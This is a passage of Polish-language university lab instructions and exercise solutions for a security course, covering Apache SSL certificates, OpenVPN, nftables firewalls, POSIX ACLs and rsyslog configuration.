openssl x509 -req -in bsk.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bsk.crt
Oglądamy wystawiony certyfikat:
openssl x509 -in example.org.crt -noout -text
Na jak długo został wystawiony certyfikat? By zmienić okres ważności, należy zmienić liczbę dni (tak jak w przypadku tworzenia CA, patrz wyżej).
Na końcu gotowy certyfikat znajduje się w pliku bsk.crt
Do podpisywania certyfikatów można też używać modułu openssl ca (zamiast openssl x509).
Do katalogu /etc/ssl/certs/ skopiuj podpisany certyfikat wystawiony dla hosta (bsk.crt). Do katalogu /etc/ssl/private skopiuj odpowiadający certyfikatowi klucz prywatny (bsk.key).
Należy teraz włączyć mod-ssl poleceniem:
a2enmod
po ukazaniu się listy dostępnych modułów, należy wybrać ssl.
Następnie trzeba włączyć obsługę konfiguracji ssl:
a2ensite
i wybrać default-ssl.
W pliku konfiguracyjnym /etc/apache2/sites-available/default-ssl ustawić odpowiednie nazwy zainstalowanego certyfikatu i klucza prywatnego:
SSLCertificateFile /etc/ssl/certs/bsk.crt SSLCertificateKeyFile /etc/ssl/private/bsk.key
i zrestartować serwer http:
systemctl restart apache2
Teraz już można się cieszyć dostępem po https. Można to sprawdzić przeglądarką:
https://bsklab13.mimuw.edu.pl/
Przeglądarka wyświetli ostrzeżenie mówiące o braku zaufania do CA, które podpisało certyfikat dla hosta solab13 (czyli CA, które stworzyliśmy na początku tych ćwiczeń). Jeśli ufasz swojemu lokalnemu CA, możesz zaimportować do przeglądarki certyfikat lokalnej CA z pliku DemoCA/cacert.pem. Po zaimportowaniu certyfikatu CA, przeładuj stronę - nie powinna już generować ostrzeżeń.
Połącz się ze stroną https://localhost.
Dlaczego generowane jest ostrzeżenie?
Wymagania dotyczące poufności, tajemnic produkcyjnych firm oraz konieczność umożliwiania pracownikom pracy zdalnej, w tym z domu, powoduje, że konieczne jest wprowadzanie metod udostępniania sieci wewnętrznej firmy przez szyfrowane kanały. Zwykle praca bezpośrednio za pomocą protokołu SSH jest niewystarczająca, dlatego sięga się po bardziej specjalizowane rozwiązania, takie jak VPN, które pozwalają na przekazywanie szyfrowanym kanałem całego ruchu sieciowego (bez konieczności ustanawiania odrębnych tuneli dla różnych aplikacji oraz bez ograniczenia się do protokołu TCP).
Wśród rozwiązań VPN dostępne są dwa podejścia:
Zasadnicza różnice między tymi dwoma podejściami:
Do tworzenia sieci VPN na bazie protokołu SSL służy OpenVPN.
Do tworzenia sieci VPN na bazie IPsec służy Openswan.
Dalsze informacje do przeczytania przed zajęciami:
Celem ćwiczeń jest budowanie poprawnej konfiguracji VPN krok po kroku.
Załóżmy, że komputer serwera VPN to vpn-server (adres ip ip-server), a klienta to vpn-client (adres ip ip-client).
Będziemy stawiać tunel VPN o adresach 10.0.0.1 (serwer) / 10.0.0.2 (klient)
Na obu komputerach:
apt-get install openvpn
vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote 192.168.1.10
Sprawdź, czy serwer nasłuchuje na porcie 1194 (:openvpn):
vpn-server# netstat -l | grep openvpn
Sprawdź, czy jest połączenie po vpn między komputerami:
vpn-client# ping 10.0.0.1
vpn-server# ping 10.0.0.2
Stwórz klucz:
vpn-server# openvpn --genkey --secret vpn-shared-key
Przegraj klucz do komputera klienta:
vpn-server# scp vpn-shared-key root@vpn-client:
Włącz vpn:
vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun --secret vpn-shared-key 0
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote ip-server --secret vpn-shared-key 1
Upewnij się, że tunel działa. Sprawdź, czy klient może korzystać z tunelu gdy nie ma klucza.
Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/easy-rsa
Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab
Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:
vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client
Przekopiuj certyfikaty ca.cert, vpn-client.crt i klucz vpn-client.key na vpn-client.
vpn-server# openvpn --dev tun --tls--server --ifconfig 10.0.0.1 10.0.0.2 --ca ca.crt --cert vpn-server.crt --key vpn-server.key --dh dh1024.pem
vpn-client# openvpn --dev tun --tls-client --ifconfig 10.0.0.2 10.0.0.1 --ca ca.crt --cert vpn-client.crt --key vpn-client.key --remote [ip-vpn-server]
Podstawowym sposobem zwiększania bezpieczeństwa systemów komputerowych od strony sieci jest wprowadzenie mechanizmów kontroli ruchu w sieci. Najważniejszą metodą zabezpieczającą jest tutaj kształtowanie ruchu: ruch niepożądany jest zabroniony lub, jeśli zabronić się nie da, ograniczany. Narzędziem pozwalającym na takie działanie są umieszczane w różnych punktach sieci (ruterach, końcówkach komputerowych, serwerach) zapory sieciowe z filtracją pakietów.
Zapora sieciowa ma za zadanie filtrować ruch przychodzący i wychodzący z danego urządzenia sieciowego (na przykład komputera). Dzięki filtrowaniu ruchu możemy zapewniać różnego rodzaju zasady bezpieczeństwa związane z danym urządzeniem sieciowym. Obsługa sieci w Linuksie jest obecnie wbudowana w jądro. Jednym z jej elementów jest netfilter, zestaw modułów do filtrowania pakietów.
Netfilter posiada narzędzia dostępne zewnętrznie, służące do określenia reguł przesyłania pakietów – przesyłania, a nie filtrowania, bo nie tylko o filtrowanie chodzi – pakiety mogą być też zmieniane podczas przechodzenia przez zaporę. Obecnie nft (poprzednio były to wciąż popularne <xx>tables, gdzie <xx> to jeden z prefiksów: ip, ip6, arp, eb, oraz mające już wyłącznie historyczne znaczenie ipchains). Narzędzie nft pozwala ustalać reguły przetwarzania pakietów przechodzących przez maszynę. Na najwyższym poziomie narzędzie to grupuje pakiety w rodziny (ang. families), które to rodziny są ściśle związane z protokołem bazowym, którego dotyczą:
Podstawowa funkcjonalność zapory polega na filtrowaniu pakietów, które przepuszcza tylko te pakiety odpowiadające wyznaczonym przez nas zasadom bezpieczeństwa. Pakiety, które nie są przepuszczane mogą być porzucane po cichu lub też odrzucane z komunikatem do nadawcy. Przy czym to drugie zachowanie powinno być zawsze przemyślane - takie zachowanie może być wykorzystywane przez atakujących do monitorowania konfiguracji czy stanu sieci. W zaporze sieciowej możemy filtrować zarówno ruch przychodzący, jak i wychodzący. Reguły filtrowania mogą być dosyć skomplikowane, w tym mogą uwzględniać stan protokołu, dla którego wykonywane jest filtrowanie.
Kolejną ważną funkcjonalnością zapory jest możliwość wykonywania translacji adresów. Istnieją dwa główne rodzaje translacji adresów:
Uwaga: By korzystać z translacji adresów, zwykle trzeba zezwolić na przekazywanie pakietów IP przez jądro. W przypadku IPv4 konfiguracja jądra sprowadza się do zapisania wartości 1 do pliku /proc/sys/net/ipv4/ip_forward:
echo 1 > /proc/sys/net/ipv4/ip_forward
Jeszcze inną ważną funkcjonalnością jest możliwość modyfikowania różnych fragmentów przechodzących pakietów (w istocie translacja adresów jest też przykładem tego rodzaju funkcjonalności). Dzięki temu możemy pakiety tak modyfikować, że poruszają się po sieci w bardziej regularny lub łatwiej sterowalny sposób.
Często w praktyce administracyjnej przydaje się także możliwość rejestrowania różnego rodzaju sytuacji sieciowych. Zapory pozwalają na śledzenie i rejestrowanie wielu sytuacji. Przydaje się to do optymalizowania ruchu w sieci oraz wykrywania usterek w jej konfiguracji.
create table <rodzina> <nazwa>gdzie <rodzina> to jedno z powyżej wspomnianych: ip. ip6, inet, arp, bridge, netdev, zaś <nazwa> to dosyć dowolnie dobrana nazwa, która będzie się łatwo kojarzyła z tym, jakie reguły mają trafiać do tej tablicy (zob. wyżej: filter, nat, mangle itp.).
sudo nft add chain inet <nazwa tablicy> <nazwa łańcucha> '{type <rodzaj łańcucha> hook <nazwa haczyka> priority <priorytet>; [policy <domyślna obsługa>] }'gdzie nazwa tablicy i nazwa łańcucha wskazują, jaki łańcuch jest dokładany do jakiej tablicy, z kolei rodzaj łańcucha określa jeden z trzech rodzajów (filter, route, nat), haczyk wskazuje, skąd biorą się pakiety przetwarzane przez regułę łańcucha, priorytet określa numer kolejny łańcucha przy przetwarzaniu związanym ze wskazanym haczykiem, wreszcie domyślna obsługa wskazuje, co się ma dziać z pakietami, jeśli operacja na nich nie zostanie jawnie wskazana. Więcej wyjaśnień znajdziemy poniżej.
sudo nft add chain inet <nazwa tablicy> <nazwa łańcucha>W tego typu łańcuchach nie wskazujemy, jak pakiety do nich trafiają. Pakiety trafiają do takich łańcuchów w wyniku wykonania akcji skoku z łańcuchów bazowych. Po wykonaniu takiego skoku pakiet jest przetwarzany, jak zwykle w wypadku łańcuchów bazowych.
sudo nft add rule inet example_table example_chain tcp dport 22 counter acceptPolecenie powyższe spowoduje dodanie reguły do łańcucha example_chain w tablicy example_table (obie te rzeczy muszą być już utworzone). Oprócz tego
sudo nft add rule inet example_table example_chain position 3 tcp dport 22 counter acceptspowoduje dodanie reguły działającej jak ta poprzednia, ale na pozycji nr 3 w łańcuchu example_chain.
table firewall { chain incoming { type filter hook input priority 0; policy drop; # established/related connections ct state established,related accept # loopback interface iifname lo accept # icmp icmp type echo-request accept # open tcp ports: sshd (22), httpd (80) tcp dport {ssh, http} accept } }Dalsze informacje do przeczytania przed zajęciami:
Listy kontroli dostępu (ang. Access Control List, ACL) rozszerzają standardowy mechanizm uprawnień, kontrolujący dostęp do plików (a także katalogów, urządzeń, gniazd i innych obiektów systemu plików).
Standardowe uprawnienia definiują prawo do odczytu (r), zapisu (w) i wykonania (x) dla:
ACL pozwalają na bardziej rozbudowaną kontrolę - dają możliwość przydzielania trzech wymienionych uprawnień (rwx) nie tylko dla właściciela pliku, ale dla dowolnie wskazanego użytkownika, nie tylko dla grupy pliku, ale dla dowolnie wskazanej grupy.
ACL są wspierane przez różne linuksowe systemy plików, mi.in.: xfs, ext2, ext3, ext4, reiserfs, nfs, jfs.
Co ciekawe spośród znanych systemów plików nie obsługują ACL: FAT16, FAT32, zaś system plików exFAT w jednej z wersji systemu Windows je obsługiwał, ale współczesne wersje tego systemu list ACL w exFAT nie obsługują.
Uważa się, że ACL są zgodne ze standardem POSIX. W rzeczywistości opisujące je standardy POSIX 1003.1e i 1003.2c draft 17 nie zostały oficjalnie przyjęte. ACL są również wspierane w systemach firmy Microsoft, jednak nie zachowują one pełnej zgodności ze standardem i są wspierane jedynie przez system plików NTFS.
Minimalna lista kontroli dostępu pokrywa się ze standardowymi uprawnieniami, natomiast lista rozszerzona zawiera dodatkową pozycję - maskę i może zawierać także pozycje dla poszczególnych użytkowników i grup.
W liście ACL wyróżniamy następujące typy pozycji (w nawiasach słowa kluczowe):
(Uwaga: obecna w literaturze frazeologia nazwany użytkownik czy nazwana grupa ma to do siebie, że dobrze kojarzy się z angielską terminologią, jednak spośród wielu znaczeń angielskiego słowa name najbardziej pasujące tutaj to to mention explicitly : specify).
Rozszerzone listy kontroli dostępu oferują możliwość maskowania uprawnień, co oznacza, że podczas obliczania efektywnych uprawnień, oprócz uprawnień zdefiniowanych dla danego użytkownika, brana jest pod uwagę także maska. Z dwoma wyjątkami: uprawnienia zdefiniowane dla właściciela i dla tzw. pozostałych (other) są zawsze efektywne (maska nie ma na nie wpływu).
Efektywne uprawnienia do pliku są koniunkcją bitową maski i uprawnień zdefiniowanych w odpowiedniej pozycji (dla nazwanego użytkownika, grupy właściciela lub nazwanej grupy).
Przykład
Jeżeli prawa do pliku zdefiniowane są w następujący sposób:
user:testowy:r-x mask::rw-
to efektywne uprawnienia użytkownika "testowy" to: r--
Uwaga: domyślnie maska jest aktualizowana automatycznie i określa maksymalne uprawnienia dla użytkowników należących do nazwanych użytkowników, grupy właściciela lub grup nazwanych.
Rozszerzone uprawnienia są stosowane wg następującego algorytmu:
Do zarządzania listami ACL służą dwa polecenia:
Polecenie "getfacl" wypisuje rozszerzone uprawnienia do plików.
Przykład
% touch plik-testowy % ls -l plik-testowy -rw-r--r-- 1 janek bsk 0 2016-10-05 14:46 plik-testowy
% getfacl plik-testowy # file: plik-testowy # owner: janek # group: bsk user::rw- group::r-- other::r--
% getfacl plik-testowy –-omit-header user::rw- group::r-- other::r--
Polecenie "setfacl" pozwala modyfikować uprawnienia.
Jeżeli chcemy dodać lub zmienić uprawnienia używamy opcji -m (jak modify), a następnie podajemy: pozycję z listy (patrz punkt 1), jakie uprawnienia chcemy nadać (rwx) i jakiemu plikowi.
Przykład
% setfacl -m u:ala:rwx plik-testowy
% getfacl plik-testowy # file: plik-testowy # owner: janek # group: bsk user::rw- user:ala:rwx group::r-- mask::rwx other::r--
% ls -l plik-testowy -rw-rwxr--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy
Zwróćmy uwagę na wiersz powyżej. Znak + oznacza, że plik posiada rozszerzone uprawnienia, a zamiast uprawnień grupy widzimy maskę (co nie powinno dziwić, bo maska opisuje maksymalne uprawnienia dla wszelkich grup).
Maskę możemy zmieniać korzystając z setfacl (mask::), a także poprzez chmod (zmiana praw dla grupy powoduje zmianę maski).
Opcji -x (jak exclude) używa się tak:
% setfacl -x u:ala plik-testowy % getfacl plik.txt –-omit-header user::rw- group::r-- mask::r-- other::r--
% ls -l plik.txt rw-r--r--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy
Inne opcje pozwalają na przykład na usunięcie uprawnień dotyczących wszystkich pozycji (-b, jak blank), czy modyfikację uprawnień rekurencyjnie w drzewie katalogów (-R).
Uprawnienia domyślne dotyczą tylko katalogów. Jeżeli katalogowi nadamy domyślne uprawnienia rozszerzone, to nowo utworzone pozycje w tym katalogu będą je dziedziczyć.
Do modyfikowania uprawnień domyślnych służy opcja -d (jak default) polecenia setfacl, po której następują znane już -m, -x itd.
Przykład dodania uprawnień domyślnych
% setfacl -d -m group:testowa:wx bsk-lab1 % getfacl bsk-lab1 –-omit-header user::rwx group::r-x other::r-x default:user::rwx default:group::r-x default:group:testowa:-wx default:mask::rwx default:other::r-x
Opcja -k kasuje domyślne uprawnienia.
Poniższe obrazki ilustrują działanie ACL w systemie Windows XP.
System plików NTFS umożliwia związanie z każdym plikiem (lub katalogiem) list kontroli dostępu. Dostęp do prostych ustawień ACL pliku jest możliwy z poziomu np. Eksploratora Windows w opcji Właściwości (menu Plik lub kontekstowe). Rozszerzone listy ACL są dostępne po wyborze uprawnień Zaawansowanych.
System Windows nie zapewniał obsługi ACL dla swoich pierwotnych systemów plików FAT (FAT16 i FAT32). W Windows CE 6 wprowadzono obsługę ACL dla systemu plików exFAT, jednak w późniejszych wersjach systemu Windows nie została ona wprowadzona.
Zalety ACL:
Problemy: nie wszystkie narzędzia wspierają ACL:
Jedną z metod radzenia sobie z drugim problemem jest zapamiętywanie informacji ACL. Na przykład polecenie:
% getfacl -R --skip-base . >backup.acl
spowoduje zapisanie do pliku "backup.acl" informacji o ACL z całego drzewa systemu plików (opcja -R) z pominięciem domyślnych uprawnień (--skip-base). Używając polecenia setfacl z opcją --restore=backup.acl, można potem przywrócić rozszerzone uprawnienia.
man 5 acl
man do poleceń: getfacl, setfacl, chmod, umask
1. Sprawdź czy istnieje użytkownik "testowy", a jeżeli nie to załóż konto o takim loginie.
2. Stwórz katalog "bsk1" z prawami 0755 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.
3. Dodaj (rozszerzone) uprawnienia do odczytu, zapisu i przeszukiwania do powyższego katalogu użytkownikowi "testowy". Ponownie sprawdź uprawnienia.
4. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie.
5. Zabierz grupie właściciela prawo do pisania dla katalogu "bsk1".
6. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.
7. Po zakończeniu ćwiczenia usuń katalog "bsk1" wraz z zawartością.
1. Stwórz katalog "bsk2" z prawami 0777 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.
2. Dodaj (rozszerzone) uprawnienia do odczytu i przeszukiwania do powyższego katalogu użytkownikowi "testowy".
3. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk2" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.
4. Po zakończeniu ćwiczenia usuń katalog "bsk2" wraz z zawartością.
1. Sprawdź, czy istnieje grupa "testowa", a jeżeli nie, to załóż grupę o takiej nazwie.
2. Stwórz katalog "bsk3" z prawami 0750. Jakie uprawnienia będą miały pliki założone w tym katalogu?
3. Stwórz plik "plik3a" w katalogu "bsk3".
4. Dodaj domyślne uprawnienia do katalogu "bsk3": do odczytu, zapisu i wykonywania dla grupy "testowa" oraz do odczytu i wykonywania dla pozostałych.
5. Stwórz plik "plik3b" oraz katalog "kat3" w katalogu "bsk3".
6. Porównaj uprawnienia obiektów z katalogu "bsk3".
7. Po zakończeniu ćwiczenia usuń katalog "bsk3" wraz z zawartością.
Jądro systemu, usługi systemowe i różne aplikacje zapisują informacje o swoim działaniu w dziennikach systemowych (logach). Dlatego pierwszym miejscem, do którego należy zajrzeć, kiedy jakaś usługa nie uruchamia się poprawnie, jest odpowiedni dziennik.
W systemach uniksowych i linuksowych dominującym systemem rejestracji zdarzeń jest syslog. Poznamy bliżej jedną z jego nowszych wersji o nazwie rsyslog.
Pliki dzienników znajdują się z reguły w katalogu:
/var/log
Ważniejsze pliki które możesz tam znaleźć to :
Wpis do dziennika jest najczęściej pojedynczym wierszem zawierającym datę i czas wystąpienia zdarzenia, a także jego rodzaj i poziom ważności.
Za zbieranie informacji o działaniu systemu i umieszczania ich w plikach odpowiada usługa systemowa syslogd (lub nowsza rsyslogd). Plikiem konfiguracyjnym dla syslogd jest /etc/syslog.conf a dla rsyslogd /etc/rsyslog.conf (zachowana jest zgodność wstecz).
(r)syslog umożliwia sortowanie komunikatów ze względu na źródło ich pochodzenia i stopień ważności oraz na kierowanie ich w różne miejsca: do plików, na terminale użytkowników a także na inne komputery.
Plik konfiguracyjny opisuje reguły systemu rejestrowania. Podstawowy format jest następujący:
usługa.poziom <co najmniej jeden znak tabulacji> przeznaczenie
Usługa określa z jakiej części systemu pochodzi informacja. Może przyjąć następujące wartości: auth, authpriv, cron, daemon, kern, ftp, local0-7, lpr, mail, mark, news, syslog, user, uucp.
Poziom określa priorytety komunikatów. Wszystkie wiadomości o tym lub wyższym priorytecie trafiają do dziennika. Poziomy ważności są następujące (w kolejności rosnącego znaczenia): debug, info, notice, warning (warn), error (err), crit, alert, emerg (panic).
Znak "=" przed nazwą poziomu wskazuje, że należy zbierać wiadomości o dokładnie takim poziomie, a "!" oznacza "oprócz tego i wyższych poziomów". Symbol "*" oznacza wszystkie usługi i poziomy a "none" - "żaden poziom". W pojedynczej regule może występować wiele usług oddzielonych przecinkami lub par usługa-poziom oddzielonych średnikami.
Przeznaczenie określa gdzie trafiają zebrane komunikaty. Może to być między innymi:
Nazwa pliku poprzedzona "-" oznacza, że system plików nie powinien być synchronizowany po zapisaniu każdego wpisu do dziennika (włączone buforowanie).
Przykład
mail.info /var/log/mail.log
Powyższy wpis spowoduje, że komunikaty systemu pocztowego o poziomach info i wyższych będą trafiały do pliku /var/log/mail.log a następujący:
*.emerg;user.none *
że wszystkie komunikaty awaryjne oprócz takich, które są generowane przez procesy użytkownika, pojawią się na ekranach wszystkich zalogowanych użytkowników.
Przykładowy plik rsyslog.conf znajdziesz na końcu scenariusza.
Aby zmusić demona (r)syslog działającego nieprzerwanie do ponownego odczytania pliku konfiguracyjnego należy wysłać do niego sygnał HUP. Pid procesu demona jest zapisany w pliku /var/run/rsyslogd.pid, więc właściwe polecenie ma następującą postać:
% kill -HUP $(cat /var/run/(r)syslogd.pid)
Co można zrobić również w następujący sposób:
% /etc/init.d/rsyslog restart
Do sprawdzenia poprawności składniowej pliku konfiguracyjnego służy polecenie:
% rsyslogd -f /etc/rsyslog.conf -N1
System rejestrujący pozwala także na korzystanie z tzw. modułów - wtyczek zapewniających różnorodną funkcjonalność. Polecenia dołączenia odpowiednich modułów powinny znaleźć się na początku pliku konfiguracyjnego. Dzięki schematom (templates) można określić format logowanej wiadomości.
Rsyslog umożliwia także filtrowanie wiadomości na podstawie jej zawartości. Udostępnia operacje porównywania takie jak: contains, isequal, startswith, regex. Ogólna postać polecenia jest następująca:
:własność,[!]operacja, "wzorzec"
gdzie najczęściej wykorzystywaną własnością jest :msg (treść komunikatu).
Przykład
:msg,contains,"iptables" /var/log/iptables.log :msg,regex,"fatal .* error" /var/log/fatal-error.log
Rsyslog może także zapisywać informacje do baz danych MySQL lub PostgreSQL (po instalacji pakietu rsyslog-mysql lub rsyslog-pgsql). Jako miejsce przeznaczenia można wtedy podać nazwę tabeli.
Kolejną możliwością rsyslog jest wybór protokołu TCP lub RELP zamiast UDP. Nazwę maszyny przeznaczenia należy poprzedzić znakiem @@ (TCP) lub :omrelp: (RELP). Wcześniej należy załadować odpowiedni moduł.
Po instalacji rsyslog domyślnie czas jest zapisywany w skróconej formie: np. 2016-10-05 14:17:42 odpowiada za to poniższa linia w pliku konfiguracyjnym (by włączyć dokładne zapisywanie czasu - trzeba zamienić ją na komentarz).
$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat
Polecenie logger jest interfejsem do systemu syslog z poziomu interpretera poleceń (powłoki). Warto je wykorzystać do testowania zmian w pliku konfiguracyjnym. Na przykład aby sprawdzić regułę:
local2.info /tmp/test.log
możesz wydać polecenie:
% logger -p local2.info "test local2 info"
Samo zbieranie i czytanie dzienników to nie wszystko o co powinien zadbać administrator - na maszynach z setką intensywnie pracujących użytkowników mogą one przyrastać bardzo szybko powodując przepełnienie systemu plików. Należy pamiętać, że samo skasowanie pliku nie rozwiązuje problemu (i-węzeł pliku nie zostanie zwolniony, dopóki plik nie zostanie zamknięty). Aby ułatwić zadania administratorowi system udostępnia polecenie logrotate, które umożliwia rotację plików z dziennikami, ich kompresję, przesyłanie pocztą do użytkowników i usuwanie. Jest zazwyczaj uruchamiany codziennie jako zadanie regularne przez podsystem cron. Jego plik konfiguracyjny to /etc/logrotate.conf
Istnieją również narzędzia wspomagające analizowanie dzienników, tworzące odpowiednie raporty i przesyłające je pod wskazany adres. Przykładami takich narzędzi są swatch i logcheck.
man rsyslog.conf
man rsyslogd
man logger
man logrotate
http://www.rsyslog.com/doc/rsyslog_conf.html
Alternatywa dla syslog: systemd
1. Przejrzyj zawartość katalogu /var/log. Sprawdź czasy ostatniej modyfikacji plików. Czy znajdują się tam pliki skompresowane? Wyświetl ostatnie wpisy wybranych logów (skorzystaj z tail).
2. Wykonaj polecenie sudo su, a następnie sprawdź, w którym pliku pojawiła się informacja o tym (przydatne może okazać się polecenie ls -ltr).
3. Znajdź w plikach konfiguracyjnych logrotate zasady rotowania plików dla kern.log i syslog.
4. Wykonaj polecenia dmesg i last.
5. Przeczytaj /etc/rsyslog.conf i przy pomocy polecenia logger sprawdź kilka reguł. Spróbuj wskazać komunikaty, które trafiają do więcej niż jednego dziennika.
6. Zmodyfikuj plik konfiguracyjny i skorzystaj z polecenia logger do wysłania komunikatu do wszystkich użytkowników, wybranego użytkownika, na wybrany terminal, na inny komputer.
7. Zastosuj filtrowanie wiadomości na podstawie jej zawartości.
Załącznik | Wielkość |
---|---|
rsyslog.conf_.txt | 2.56 KB |
* Sprawdź czy istnieje użytkownik "testowy", a jeżeli nie to załóż konto o takim loginie.
$ useradd -m testowy
* Stwórz katalog "bsk1" z prawami 0755 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.
$ mkdir bsk1 -m 0755 $ ls -ld bsk1 drwxr-xr-x 2 root root 6 Sep 17 08:04 bsk1 $ getfacl bsk1 # file: bsk1 # owner: root # group: root user::rwx group::r-x other::r-x
* Dodaj (rozszerzone) uprawnienia do odczytu, zapisu i przeszukiwania do powyższego katalogu użytkownikowi "testowy". Ponownie sprawdź uprawnienia.
$ setfacl -m u:testowy:rwx bsk1 $ ls -ld bsk1 drwxrwxr-x+ 2 root root 6 Sep 17 08:04 bsk1 $ getfacl bsk1 # file: bsk1 # owner: root # group: root user::rwx user:testowy:rwx group::r-x mask::rwx other::r-x
* Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie.
testowy może utworzyć plik
* Zabierz grupie właściciela prawo do pisania dla katalogu "bsk1".
$ chmod g-w bsk1 $ ls -ld bsk1 drwxr-xr-x+ 2 root root 17 Sep 17 08:11 bsk1 $ getfacl bsk1 # file: bsk1 # owner: root # group: root user::rwx user:testowy:rwx #effective:r-x group::r-x mask::r-x other::r-x
* Jako "testowy" sprawdź czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.
testowy nie może założyć pliku, bo nie ma efektywnych uprawnień do pisania w katalogu "bsk1"
* Po zakończeniu ćwiczenia usuń katalog "bsk1" wraz z zawartością.
$ rm -rf bsk1
* Stwórz katalog "bsk2" z prawami 0777 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.
$ mkdir bsk2 -m 0777 $ ls -ld bsk2 drwxrwxrwx 2 root root 6 Sep 17 08:28 bsk2 $ getfacl bsk2 # file: bsk2 # owner: root # group: root user::rwx group::rwx other::rwx
* Dodaj uprawnienia do odczytu i przeszukiwania do powyższego katalogu użytkownikowi "testowy".
$ setfacl -m u:testowy:rx bsk2 $ ls -ld bsk2 drwxrwxrwx+ 2 root root 6 Sep 17 08:28 bsk2 $ getfacl bsk2 # file: bsk2 # owner: root # group: root user::rwx user:testowy:r-x group::rwx mask::rwx other::rwx
* Zaloguj się jako "testowy" i sprawdź czy możesz zapisać jakiś plik do katalogu "bsk2" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.
testowy nie może założyć pliku, bo nie ma efektywnych uprawnień do pisania w katalogu "bsk2", uprawnienia efektywne to koniunkcja
uprawnień określnonych dla użytkownika testowy i maski, a więc r-x.
* Po zakończeniu ćwiczenia usuń katalog "bsk2" wraz z zawartością.
$ rm -rf bsk2
* Sprawdź, czy istnieje grupa "testowa", a jeżeli nie to załóż grupę o takiej nazwie.
* Stwórz katalog "bsk3" z prawami 0750. Jakie uprawnienia będą miały pliki założone w tym katalogu?
$ mkdir bsk3 -m 0750 $ umask 0077
* Stwórz plik "plik3a" w katalogu "bsk3".
$ touch bsk3/plik3a $ ls -l bsk3/plik3a -rw------- 1 root root 0 Sep 17 08:51 plik3a
* Dodaj domyślne uprawnienia do katalogu "bsk3": do odczytu, zapisu i wykonywania dla grupy "testowa" oraz do odczytu i wykonywania dla pozostałych.
setfacl -d -m g:testowa:rwx,o:rx bsk3 $ ls -ld bsk3 drwxr-x---+ 2 root root 29 Sep 17 08:53 bsk3 $ getfacl bsk3 # file: bsk3 # owner: root # group: root user::rwx group::r-x other::--- default:user::rwx default:group::r-x default:group:testowa:rwx default:mask::rwx default:other::r-x
* Stwórz plik "plik3b" oraz katalog "kat3" w katalogu "bsk3".
* Porównaj uprawnienia obiektów z katalogu "bsk3".
$ touch bsk3/plik3b $ ls -l bsk3 total 0 -rw------- 1 root root 0 Sep 17 08:53 plik3a -rw-rw-r--+ 1 root root 0 Sep 17 09:00 plik3b $ getfacl bsk3/plik3b # file: bsk3/plik3b # owner: root # group: root user::rw- group::r-x #effective:r-- group:testowa:rwx #effective:rw- mask::rw- other::r--
* Po zakończeniu ćwiczenia usuń katalog "bsk3" wraz z zawartością.
$ rm -rf bsk3
Należy na wybranej maszynie (A) zmienić konfigurację usługi rlogin w taki sposób, aby:
- dostęp zdalny był dozwolony tylko z maszyn w sieci lokalnej (maszyny solab01 - solab15),
- wymagał od wszystkich podania hasła,
- zapisywał w dzienniku informację, z jakiej maszyny nastąpiło zdalne logowanie i zawierającą słowo RLOGIN.
Następnie należy zmienić ustawienia w ten sposób, aby:
- zdalny dostęp do konta X bez podawania hasła mieli użytkownicy X i Y z komputera B,
- właściciel i użytkownik Y mieli wszystkie prawa, a pozostali żadnych praw do katalogu domowego użytkownika X,
- domyślne uprawnienia do katalogu domowego użytkownika X były takie, aby mógł on modyfikować i usuwać obiekty stworzone przez Y w tym katalogu.
Napisz skrypt, który skonfiguruje rozszerzone prawa dostępu do katalogu domowego A i obiektów, które będą tworzone w katalogu
domowym A, ale nie w jego podkatalogach (chodzi o nowo utworzone obiekty, nie zmieniamy zastanych uprawnień) w taki sposób, aby:
- użytkownicy A i B mieli wszystkie możliwe prawa,
- grupa właściciela i grupa B mogły je przeczytać, ale nie modyfikować
- pozostali nie mieli żadnych praw.
Skonfiguruj wybraną usługę (inną niż tftp) w ten sposób, aby dostęp do niej był możliwy ze wyłącznie z komputerów z laboratorium 5490 oprócz jednego, dowolnie wybranego (np. oprócz solab10). W pliku /var/log/connections.log powinny znaleźć się wpisy o połączeniach zawierające nazwę usługi i informacje o kliencie: adres, port i login.
Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:
1. Użytkownik admin ma wszelkie uprawnienia do katalogu /home/public i jego zawartości.
2. Grupa G1 ma prawo do odczytu plików, które powstaną w katalogu /home/public.
3. Grupa G2 ma prawo do odczytu, wykonywania i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu.
4. Pozostali nie mają żadnych praw do katalogu /home/public.
Zainstaluj usługi telnet i rlogin na swoim serwerze i skonfiguruj je w następujący sposób:
